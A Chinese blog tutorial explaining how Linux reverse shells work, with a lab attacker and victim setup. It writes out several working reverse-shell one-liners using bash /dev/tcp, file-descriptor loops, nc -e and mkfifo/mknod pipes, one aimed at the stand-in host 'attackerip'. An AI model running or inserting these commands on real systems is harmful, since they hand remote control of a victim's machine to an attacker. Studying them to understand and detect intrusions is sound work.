0X00 前言

在上一篇文章 Linux反弹shell(一)文件描述符与重定向,我们已经讨论过了反弹shell中最核心也是相对较难理解的部分,那么接下来我们就可以正式借反弹shell的实例分析回顾前一篇文章讲的知识,并且也加深对反弹shell的理解吧。

0X01 什么是反弹shell

reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

0X02 为什么要反弹shell

通常用于被控端因防火墙受限、权限不足、端口被占用等情形

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。

2.它的ip会动态改变,你不能持续控制。

3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

0X03 反弹shell的本质是什么

我们可以先以一个linux 下的反弹shell 的命令为例来看一下反弹shell 的命令都做了些什么,掌握了反弹的本质,再多的方法其实只是换了包装而已。

实验环境:

受害者:

Ubuntu Linux ——> 192.168.146.128

攻击者:

Kali Linux ——> 192.168.146.129

我们就以最常见的bash为例:
attacker机器上执行:

nc -lvp 2333

victim 机器上执行:

bash -i >& /dev/tcp/192.168.146.129/2333 0>&1

你就会看到下图:

可以看到在攻击机上出现了受害者机器的shell

解释一下这条命令具体的含义:

1.bash -i

1)bash 是linux 的一个比较常见的shell,其实linux的shell还有很多,比如 sh、zsh、等,他们之间有着细小差别

2)-i 这个参数表示的是产生交互式的shell

2./dev/tcp/ip/port

/dev/tcp|udp/ip/port 这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的,如下图:

但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信

实例1:

我们输出字符串到这个文件里

攻击机上的输出

实例2:

攻击机上的输入

受害者机器上的输出

3.交互重定向

注意:
下面的内容涉及到比较复杂的重定向和文件描述符的知识,如果理解不够深入建议看完我的上一篇文章以后再来继续阅读:

文章链接:

《linux反弹shell(一)文件描述符与重定向》https://blog.csdn.net/whatday/article/details/103426638

为了实现交互,我们需要把受害者交互式shell的输出重定向到攻击机上
在受害者机器上输入

bash -i > /dev/tcp/192.168.146.129/2333

示意图:

如下图所示,任何在受害者机器上执行的指令都不会直接回显了,而是在攻击者机器上回显。

但是这里有一个问题,攻击者没有能够实现对受害者的控制,攻击者执行的命令没法在受害者电脑上执行。

于是我们似乎还需要一条这样的指令

bash -i < /dev/tcp/192.168.146.129/2333

示意图:

这条指令的意思是将攻击者输入的命令输入给受害者的bash,自然就能执行了

现在我们需要将两条指令结合起来(如果这条指令看不懂可以去看一下我上面提供的文章的链接再回来看这条指令):

bash -i > /dev/tcp/192.168.146.129/2333 0>&1

示意图:

由这张示意图可以很清楚地看到,输入0是由/dev/tcp/192.168.146.129/2333 输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.156.129/2333上,这就形成了一个回路,实现了我们远程交互式shell 的功能

如下图所示,我在攻击机上输入 ifconfig,查看到的是受害者的ip ,也就是说我们目前已经基本完成了一个反弹shell 的功能。

注意:
但是这里有一个问题,就是我们在受害者机器上依然能看到我们在攻击者机器中执行的指令 ,如下图所示,我们马上解决

4. >&、&>

这个符号在我附上链接的那篇文章中也提到了,作用就是混合输出(错误、正确输出都输出到一个地方)

现在我们解决一下前面的问题:

bash -i > /dev/tcp/192.168.146.129/2333 0>&1 2>&1

可以看到命令并没有回显在受害者机器上,我们的目的达成了

当然我们也可以执行与之完全等价的指令

bash -i >& /dev/tcp/192.168.146.129/2333 0>&1

至此,我们的反弹shell的经典语句就分析完了,通过这条语句的分析我们能大致的了解反弹shell的本质,以后碰到其他的反弹shell 的语句也能用类似的分析方法区分析,甚至我们也可以自己举一反三创造更加绝妙的反弹shell 的语句

0X04 常见的反弹shell 的语句怎么理解

1.方法一

bash -i>& /dev/tcp/192.168.146.129/2333 0>&1

bash -i>& /dev/tcp/192.168.146.129/2333 0<&1

这里的唯一区别就是 0>&1 和 0<&1 ,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别(我在上面给出链接的文章中也特地用加粗的形式解释了)

2.方法二

bash -i >& /dev/tcp/192.168.146.129/2333 <&2

等价于

bash -i >& /dev/tcp/192.168.146.129/2333 0<&2

示意图:

3.方法三

exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done

简单的解释一下:

exec 5<>/dev/tcp/192.168.146.129/2333

这一句将文件描述符5重定向到了 /dev/tcp/192.168.146.129/2333 并且方式是读写方式(这种方法在我的前面的文章中也讲到过,传送门),于是我们就能通过文件描述符对这个socket连接进行操作了

command|while read line do .....done

这个是一个非常经典的句子,它的原句是这样的

while read line
do…
done < file

从文件中依次读取每一行,将其赋值给 line 变量(当然这里变量可以很多,以空格分隔,这里我就举一个变量的例子,如果是一个变量的话,那么一整行都是它的了),之后再在循环中对line进行操作。

而现在我们不是从file 文件中输入了,我们使用管道符对攻击者机器上输入的命令依次执行,并将标准输出和标准错误输出都重定向到了文件描述符5,也就是攻击机上,实现交互式shell的功能。

与之完全类似的还有下面这条指令,读者有兴趣可以自己分析一下:

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

4.方法四

nc 如果安装了正确的版本(存在-e 选项就能直接反弹shell)

nc -e /bin/sh 192.168.146.129 2333

但是如果是没有-e 选项是不是就不能实现了呢?当然不是,我们可以向下面这样

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f

简单的解释:

mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路

类似的命令:

mknod backpipe p; nc 192.168.146.129 2333 0<backpipe | /bin/bash 1>backpipe 2>backpipe

0X05 总结

反弹shell方法虽然常见,方法网上一搜就是一大把的代码,但是很少有人会去仔细斟酌反弹shell的原理,我也看到有类似的文章,但是可能是由于篇幅原因并没有对文件描述符和重定向的部分做深入的讨论,导致解释语句的时候依然让人不好理解,于是这次我分成了两篇有所关联的文章彻底的剖析了一下,个人认为这个原理是非常值得大家思考的,也很有趣,如果我的文章有什么地方有问题,希望大家及时联系我。

0X06 参考链接

https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://blog.csdn.net/roler_/article/details/17504039
http://www.freebuf.com/articles/system/153986.html
https://www.zhihu.com/question/24503813

linux 反弹shell(二)反弹shell的本质相关推荐

  1. Linux操作系统(二:shell脚本)

    练习一:编写shell脚本,计算1-100的和: 练习二:将一目录下所有的文件的扩展名改为bak 练习三:写一个脚本,统计./etc/ 目录下共有多少个目录文件 练习四:写一个脚本,依次向/etc/p ...

  2. Linux基本功十二:shell脚本流程控制

    bash中的流程控制,设计到判断 [ ] , if  || && switch-case do-while until  for 函数()等等 (1)判断[]   -r -w -b - ...

  3. Linux 进阶笔记(二)

    这几篇博文主要记录博主的Linux 学习之路,用作以后回顾和参考.大家可以选择略过也可以作参考. (一)Linux 初步笔记 (二)Linux 进阶笔记(一) (三)Linux 进阶笔记(二) (四) ...

  4. linux下几种反弹Shell方法的总结与理解

    实验环境 CentOS 6.5:192.168.0.3 kali2.0:192.168.0.4 方法1: 反弹shell命令如下: bash -i >& /dev/tcp/ip/port ...

  5. 反弹shell与正向shell的区别

    正向shell: 攻击机A,受害者B 正向shell:正常大家都能理解 A主动连接B,直接使用ssh命令:受害者的命令行的输入输出转到控制端 反弹shell: 反弹shell就是控制端监听在某TCP/ ...

  6. Linux Shell脚本入门教程系列之(十二)Shell until循环

    本文是Linux Shell脚本系列教程的第(十二)篇,更多Linux Shell教程请看:Linux Shell脚本系列教程 在上两篇文章Linux Shell系列教程之(十)Shell for循环 ...

  7. Linux学习笔记二Shell教程

    Shell 教程 Shell 是一个用 C 语言编写的程序,它是用户使用 Linux 的桥梁.Shell 既是一种命令语言,又是一种程序设计语言. Shell 是指一种应用程序,这个应用程序提供了一个 ...

  8. Linux的Bash——(二)Shell的变量

    2. Shell的变量 2.1 什么是变量? 变量就是以特定的字符串代表不固定的内容 变量的优点又有那些? (1) 可变性与方便性 关于可变性和方便性,我相信如果有接触过至少一门编程语言就能很快Get ...

  9. Linux初学:(二)Shell环境与命令基础

    博客园(FOREVER_ENJOY):http://www.cnblogs.com/zyx1314/ 本文版权归作者所有:欢迎转载!请注明文章作者和原文连接 Shell是什么? 1. Shell作为应 ...

  10. linux计算机中文件意思,shell在计算机语言中一般是啥意思,比如在linux中

    2018-11-22 回答 在计算机科学中,shell俗称壳(用来区别于核),是指"提供使用者使用界面"的软件(命令解析器).它类似于dos下的command.com.它接收用户命 ...

最新文章

  1. Cisco网院成立10周年-未来三年在蓉增50所
  2. 生态伙伴 | Canva上线飞书应用目录,帮你零门槛轻松做出大师级设计!
  3. R语言使用tryCatch函数调试R代码实战:tryCatch函数运行正常R代码、tryCatch函数运行有错误(error)的R代码示例/tryCatch函数运行有警告(warning)的R代码示例
  4. iOS彩票项目--第三天,搭建竞技场和发现,搭建幸运选号和我的彩票界面
  5. java B2B2C Springboot仿淘宝电子商城系统-负载均衡之ribbon+feign
  6. php7 passthru,认识PHP 7虚拟机
  7. webpack VS Node.js - 二者对 require 功能的实现区别
  8. 计算机架构专业排名,全国大学计算机专业排名(转贴)
  9. 【OpenGL4.0】GLSL渲染语言入门与VBO、VAO使用:绘制一个三角形
  10. c++语言socket udp聊天程序,使用C/C++实现Socket聊天程序
  11. c语言编程实现二叉树的镜像,C/C++知识点之C++实现利用(前序和中序生成二叉树)以及(二叉树的镜像)...
  12. nagios监控mysql主从
  13. python在财务中的应用-财务人要学Python吗?
  14. linux 网卡驱动编译安装包,Dell R720 安装debian系统编译网卡驱动
  15. 最新29刷网课平台系统源码+带教程
  16. jupyter代码字体大小_Jupyter Notebook 更改字体、字体大小、行高
  17. 毕业季--写给未来的自己
  18. 工控硬件芯片级电路板维修方法
  19. 微信html5上传图片闪退,小程序webview上传图片出现闪退
  20. 计算机游戏攻略32关,保卫萝卜3游乐场第32关通关攻略 保卫萝卜3分享

热门文章

  1. 【对讲机的那点事】车载台天线系统故障的检测、排除方法(上)
  2. 解决WINCE500中INTEL编译器无法完全卸载的问题
  3. 设计模式学习(二): 观察者模式 (C#)
  4. 共建网络安全堤坝,守住网络安全底线
  5. 基于Selenium2与Python自动化测试环境搭建
  6. 《Redis in action》读书笔记
  7. 关于睡眠你不可不知的十件事
  8. 连接web端,mysql,返回乱码解决
  9. 设计模式 之 命令模式
  10. 不动的,稳定的,有序的东西就是低熵,相反的就是动的,不稳定的